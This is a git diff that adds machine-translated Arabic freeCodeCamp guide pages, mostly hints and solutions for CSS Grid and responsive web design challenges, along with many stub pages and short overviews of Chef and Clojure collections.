--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
@@ -0,0 +1,18 @@
+---
+title: Create a Row Gap using grid-row-gap
+localeTitle: إنشاء فجوة صف باستخدام الفجوة بين الشبكة
+---
+## إنشاء فجوة صف باستخدام الفجوة بين الشبكة
+
+يتطلب هذا التحدي إضافة فجوة بمقدار 20 `20px` بين جميع صفوف شبكة CSS في.
+
+### ملحوظة
+
+لإضافة فجوة بين الصفوف في شبكة CSS ، نستخدم خاصية CSS `grid-row-gap` .
+
+### حل
+
+نظرًا لأن التحدي يتمثل في إضافة فجوة قدرها 5 `5px` ، يمكنك إضافة السطر التالي إلى كتلة شفرة `.container` CSS.
+
+ `grid-row-gap: 5px; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
new file mode 100644
index 0000000000..d6aafbb5df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
@@ -0,0 +1,25 @@
+---
+title: Create Flexible Layouts Using auto-fill
+localeTitle: إنشاء تنسيقات مرنة باستخدام الملء التلقائي
+---
+## إنشاء تنسيقات مرنة باستخدام الملء التلقائي
+
+سيوضح هذا التحدي التحدي السابق عن طريق إضافة قيمة **الملء التلقائي** إلى وظيفة _التكرار_ . سيؤدي ذلك إلى زيادة عدد div على أساس حجم إطار العرض بدلاً من قيمة العمود المحددة مسبقًا. في القسم **قبل** أدناه، يتم تحديد قيمة **الشبكة قالب عمود** "3".
+
+_ضع في اعتبارك أن مقتطفات الشفرة التالية ليست سوى أمثلة وليس التجميع الدقيق من المنهاج freeCodeCamp._
+
+### قبل
+
+ `    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+` 
+
+### بعد
+
+ `    grid-template-columns: repeat(auto-fill, minmax(50px, 2fr)); 
+` 
+
+* * *
+
+### مصادر
+
+يمكنك الرجوع إلى جزء " **بناء الجملة"** من الصفحة التالية لمشاهدة قيمة **الملء التلقائي** : [شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Web/CSS/repeat)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
new file mode 100644
index 0000000000..48e1779cd2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Flexible Layouts Using auto-fit
+localeTitle: إنشاء تصميمات مرنة باستخدام الملاءمة التلقائية
+---
+## إنشاء تصميمات مرنة باستخدام الملاءمة التلقائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
new file mode 100644
index 0000000000..d966dd0118
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
@@ -0,0 +1,31 @@
+---
+title: Create Grids within Grids
+localeTitle: إنشاء شبكات داخل شبكات
+---
+## إنشاء شبكات داخل شبكات
+
+يتم إجراء شبكة داخل الشبكة مثل أي شبكة أخرى.
+
+1.  فقط عش عنصر واحد داخل آخر ،
+2.  وضعهم على _حد سواء_ على الشبكات ،
+3.  و _POOF_ ! لديك شبكة داخل شبكة.
+
+### تداخل عنصر
+
+بالنسبة لأية مراوح ، فإن تداخل عنصر يبدو كالتالي: \`
+
+هنا شبكتك
+
+هنا شبكتك المتداخلة
+
+\`
+
+### ضبط العناصر الخاصة بك على الشبكات
+
+بعد ذلك ، اضبط خصائص CSS التالية: \`.gridElement { / \* هذا يمنحك شبكة \* / عرض: الشبكة ؛ }
+
+.nestedGridElement { / \* يمنحك ذلك شبكة NESTED \* / عرض: الشبكة ؛ } \`
+
+### معلومة اضافية
+
+بعد ذلك ، لا تتردد في تخصيص الشبكات الخاصة بك كيفما تشاء. أي `grid-template-columns: auto 1fr;` قد تبدو جيدة في تلك الشبكة المتداخلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
new file mode 100644
index 0000000000..558dc890a6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
@@ -0,0 +1,27 @@
+---
+title: Create Your First CSS Grid
+localeTitle: إنشاء أول شبكة CSS
+---
+## إنشاء أول شبكة CSS
+
+### تلميح 1
+
+لتغيير عرض أي عنصر ، يتم استخدام البنية التالية:
+
+ `display: propertyName; 
+` 
+
+### تلميح 2
+
+قم بتغيير خاصية العرض الخاصة بعنصر .container
+
+### تلميح 3
+
+اضبط عرض عنصر .container على الشبكة
+
+### حل
+
+لتعيين عرض عنصر .container على الشبكة:
+
+ `display: grid; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
new file mode 100644
index 0000000000..81d3af6946
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Divide the Grid Into an Area Template
+localeTitle: تقسيم الشبكة في قالب المنطقة
+---
+## تقسيم الشبكة في قالب المنطقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/index.md
new file mode 100644
index 0000000000..f252b6c230
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid
+localeTitle: CSS الشبكة
+---
+## CSS الشبكة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[دليل الحيل المغلق للشبكة](https://css-tricks.com/snippets/css/complete-guide-grid/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
new file mode 100644
index 0000000000..e0fdd200d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
@@ -0,0 +1,27 @@
+---
+title: Limit Item Size Using the minmax Function ##
+localeTitle: الحد الأقصى لحجم العنصر باستخدام الدالة minmax ##
+---
+إن استخدام الدالة _minmax_ بالاقتران مع وظيفة _التكرار_ هو بالضبط ما يصفه هذا التحدي ، ولكن هذا لم يكن واضحًا في حد ذاته بالنسبة لي في البداية. تتمثل طريقة تمرير هذا التحدي في إزالة قيمة **الحد الأقصى للعرض** داخل دالة _التكرار_ ، ثم إضافة الدالة _minmax_ بدلاً من قيمة _تكرار_ **أقصى عرض** .
+
+في ما يلي **مثال** على ما يبدو مثل استخدام طريقة ما _قبل_ _وبعد_ :
+
+### قبل
+
+ `    grid-template-columns: repeat(3, 1fr); 
+` 
+
+### بعد
+
+ `    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+` 
+
+* * *
+
+يمكنك أيضًا التحقق من هذا القلم المضمن على Codepen للاطلاع على المثال في الإجراء ، والذي يمكنك تغيير حجمه لعرض النتائج:
+
+انظر القلم [الحد البند-الحجم-باستخدام-](https://codepen.io/skywardcode/pen/EeGGze/) minmax [\-function](https://codepen.io/skywardcode/pen/EeGGze/) بواسطة skywardcode ( [skywardcode](https://codepen.io/skywardcode) ) على [CodePen](https://codepen.io) .
+
+### مصادر
+
+[شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Web/CSS/minmax)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
new file mode 100644
index 0000000000..a6bc0f4a29
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Place Items in Grid Areas Using the grid-area Property
+localeTitle: ضع العناصر في مناطق الشبكة باستخدام الخاصية area-area
+---
+## ضع العناصر في مناطق الشبكة باستخدام الخاصية area-area
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
new file mode 100644
index 0000000000..532dc4b08a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Reduce Repetition Using the repeat Function
+localeTitle: تقليل التكرار باستخدام تكرار الوظيفة
+---
+## تقليل التكرار باستخدام تكرار الوظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
new file mode 100644
index 0000000000..7e8947cf7f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
@@ -0,0 +1,22 @@
+---
+title: Use CSS Grid Units to Change the Size of Columns and Rows
+localeTitle: استخدم CSS الشبكة وحدات لتغيير حجم الأعمدة والصفوف
+---
+## استخدم وحدات CSS الشبكة لتغيير حجم الأعمدة والصفوف
+
+يتطلب هذا التحدي تعيين عرض أعمدة الحاوية إلى تلك المحددة في وصف التحدي.
+
+### ملحوظة
+
+قم بتغيير الخاصية `grid-template-columns` .
+
+### حل
+
+نظرًا لأن التحدي يتطلب منك تعيين العرض على `1fr` و `100px` و `2fr` ، `2fr` بتغيير خاصية `css grid-template-columns` الخاصة بـ `.container` إلى:
+
+ `grid-template-columns: 1fr 100px 2fr; 
+` 
+
+#### المزيد من المعلومات
+
+*   [مقدمة إلى الوحدة fr CSS - حيل CSS](https://css-tricks.com/introduction-fr-css-unit/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
new file mode 100644
index 0000000000..3d26d69979
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-area Without Creating an Areas Template
+localeTitle: استخدم مساحة الشبكة بدون إنشاء قالب مناطق
+---
+## استخدم مساحة الشبكة بدون إنشاء قالب مناطق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
new file mode 100644
index 0000000000..52a307b328
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-column to Control Spacing
+localeTitle: استخدم عمود الشبكة لتحكم التباعد
+---
+## استخدم عمود الشبكة لتحكم التباعد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
new file mode 100644
index 0000000000..e26299c440
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-row to Control Spacing
+localeTitle: استخدم grid-row إلى Control Spacing
+---
+## استخدم grid-row إلى Control Spacing
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
new file mode 100644
index 0000000000..6631e00f63
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Media Queries to Create Responsive Layouts
+localeTitle: استخدم استعلامات الوسائط لإنشاء تخطيطات متجاوبة
+---
+## استخدم استعلامات الوسائط لإنشاء تخطيطات متجاوبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/index.md b/client/src/guide/arabic/certifications/responsive-web-design/index.md
new file mode 100644
index 0000000000..b64f5f8510
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design
+localeTitle: تصميم الويب سريع الاستجابة
+---
+## تصميم الويب سريع الاستجابة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
new file mode 100644
index 0000000000..d74f7a5cc2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
@@ -0,0 +1,21 @@
+---
+title: Create a Media Query
+localeTitle: قم بإنشاء استعلام وسائط
+---
+## قم بإنشاء استعلام وسائط
+
+اتباع التعليمات:
+
+أضف استعلام وسائط ، بحيث يكون للعلامة p حجم خط يبلغ 10 بكسل عندما يكون ارتفاع الجهاز أقل من أو يساوي 800 بكسل.
+
+استعلام الوسائط هو:
+
+ `  /* Add media query below */ 
+  @media (max-height: 800px){ 
+    p { 
+    font-size: 10px; 
+      } 
+  } 
+` 
+
+ويكون حجم النص 10 بكسل عندما يكون عرض الجهاز أقل من أو يساوي 800 بكسل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/index.md
new file mode 100644
index 0000000000..984b1de991
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Principles
+localeTitle: مبادئ تصميم الويب سريع الاستجابة
+---
+## مبادئ تصميم الويب سريع الاستجابة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
new file mode 100644
index 0000000000..635dfd28b9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
@@ -0,0 +1,20 @@
+---
+title: Make an Image Responsive
+localeTitle: جعل صورة مستجيبة
+---
+## جعل صورة مستجيبة
+
+اتباع التعليمات:
+
+أضف قواعد النمط لعلامة img لجعلها تستجيب لحجم الحاوية الخاصة بها. يجب أن يتم عرضه كعنصر على مستوى الكتلة ، يجب أن يلائم العرض الكامل للحاوية دون تمديد ، ويجب أن يحتفظ بنسبة العرض إلى الارتفاع الأصلية.
+
+يصبح النمط:
+
+ `<style> 
+  img { 
+  max-width: 100%; 
+  display: block; 
+  height: auto; 
+ } 
+ </style> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
new file mode 100644
index 0000000000..69c049e0b0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Typography Responsive
+localeTitle: جعل الطباعة مستجيبة
+---
+## جعل الطباعة مستجيبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
new file mode 100644
index 0000000000..6e1115932f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
@@ -0,0 +1,18 @@
+---
+title: Use a Retina Image for Higher Resolution Displays
+localeTitle: استخدم صورة شبكية العين لعرض أعلى دقة
+---
+## استخدم صورة شبكية العين لعرض أعلى دقة
+
+اتباع التعليمات:
+
+اضبط عرض وارتفاع علامة img على نصف قيمها الأصلية. في هذه الحالة ، يبلغ طول كل من الارتفاع الأصلي والعرض الأصلي 200 بكسل.
+
+يصبح النمط 4:
+
+ `  <style> 
+  img { height: 100px; width: 100px; } 
+  </style> 
+` 
+
+لاحظ أن أبسط طريقة لجعل صورك تظهر "شبكية العين" (وتحسينها لشاشات عرض الشبكية) هي تحديد قيم العرض والارتفاع الخاصة بها كنصف ما هو الملف الأصلي فقط.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
new file mode 100644
index 0000000000..fa298eb079
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Personal Portfolio Webpage
+localeTitle: قم ببناء صفحة الويب الشخصية للحافظة
+---
+## قم ببناء صفحة الويب الشخصية للحافظة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
new file mode 100644
index 0000000000..7cb9714b2f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Product Landing Page
+localeTitle: بناء صفحة هبوط منتج
+---
+## بناء صفحة هبوط منتج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
new file mode 100644
index 0000000000..6e9a65f874
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Survey Form
+localeTitle: بناء نموذج المسح
+---
+## بناء نموذج المسح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
new file mode 100644
index 0000000000..f9ee4ee5ed
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Build a Technical Documentation Page
+localeTitle: بناء صفحة التوثيق الفني
+---
+## بناء صفحة التوثيق الفني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### مزيد من المعلومات
+
+[مقطع فيديو على YouTube يوضح كيفية إنشاء صفحة الوثائق التقنية](https://youtu.be/kmHdn_AcTdI)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
new file mode 100644
index 0000000000..faa78d68d7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tribute Page
+localeTitle: بناء صفحة تحية
+---
+## بناء صفحة تحية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/index.md b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/index.md
new file mode 100644
index 0000000000..1142ba6291
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/responsive-web-design-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Projects
+localeTitle: مشاريع تصميم الويب سريع الاستجابة
+---
+## مشاريع تصميم الويب سريع الاستجابة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/chef/index.md b/client/src/guide/arabic/chef/index.md
new file mode 100644
index 0000000000..5729aba4e8
--- /dev/null
+++ b/client/src/guide/arabic/chef/index.md
@@ -0,0 +1,25 @@
+---
+title: Chef
+localeTitle: زعيم
+---
+## طاه
+
+الشيف هو منصة أتمتة قوية تقوم بتحويل البنية التحتية إلى كود. سواء كنت تعمل في السحابة ، أو في الأماكن الداخلية ، أو في بيئة مختلطة ، يقوم الشيف بأتمتة كيفية تكوين البنية الأساسية ونشرها وإدارتها عبر شبكتك ، بغض النظر عن حجمها.
+
+#### كيف يعمل الشيف
+
+يخزن الشيف مجموعات من الوصفات في كتاب الطبخ. يجب أن يرتبط كتاب الطبخ بمهمة واحدة ، ولكن يمكن أن يكون له عدد من تكوينات الخوادم المختلفة (على سبيل المثال تطبيق ويب مع قاعدة بيانات ، سيكون له وصفتان ، واحدة لكل جزء ، مخزنة معاً في كتاب الطبخ).
+
+هناك خادم الشيف الذي يخزن كل من هذه الكتب الطهي ، وكما يتم التحقق من عقدة عميل الشيف الجديد مع الخادم ، يتم إرسال وصفات لمعرفة عقدة كيفية تكوين نفسها.
+
+سيتحقق العميل من حين لآخر للتأكد من عدم حدوث أي تغييرات ، ولا يحتاج أي شيء إلى التغيير. إذا حدث ذلك ، فإن العميل يتعامل معه. يمكن نشر التصحيحات والتحديثات على البنية الأساسية بأكملها عن طريق تغيير الوصفة. لا حاجة للتفاعل مع كل جهاز على حدة.
+
+#### تكوين الشيف
+
+![عنوان الصورة](https://regmedia.co.uk/2015/10/07/chef_configuration_management.jpg)
+
+#### معلومات اكثر:
+
+*   [الشيف دروس خصوصية](https://www.tutorialspoint.com/chef/chef_overview.htm)
+*   [الوثائق الرسمية](https://docs.chef.io/chef_overview.html)
+*   [الشيف تعليمي](http://gettingstartedwithchef.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/collections/index.md b/client/src/guide/arabic/clojure/collections/index.md
new file mode 100644
index 0000000000..89dfcf21d6
--- /dev/null
+++ b/client/src/guide/arabic/clojure/collections/index.md
@@ -0,0 +1,16 @@
+---
+title: Clojure Collections
+localeTitle: مجموعات Clojure
+---
+واحدة من الإيجابيات الرئيسية Clojure هو أنه يحتوي على عدد غير قليل من أنواع مختلفة من المتواليات: المتجهات ، والقوائم ، hashmaps ، _يا بلدي!_ ولكل نوع مختلف من المجموعات خصائصها الخاصة ، وسلبياتها ، ومجموعة كاملة من الوظائف المفيدة التي تعمل عليها.
+
+لفهم الاختلافات بين كل نوع من المجموعات ، ووقت استخدام كل منها ، وكيفية التحويل بينهما ، قد يكون من الضروري التحقق من أنواع التجميع الأخرى وتذكير نفسك بما يجعلها خاصة.
+
+على هذا النحو ، تعمل هذه الصفحة كمؤشر حتى يمكنك بسهولة عرض أي من المقالات حول هياكل البيانات.
+
+*   [قوائم](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417)
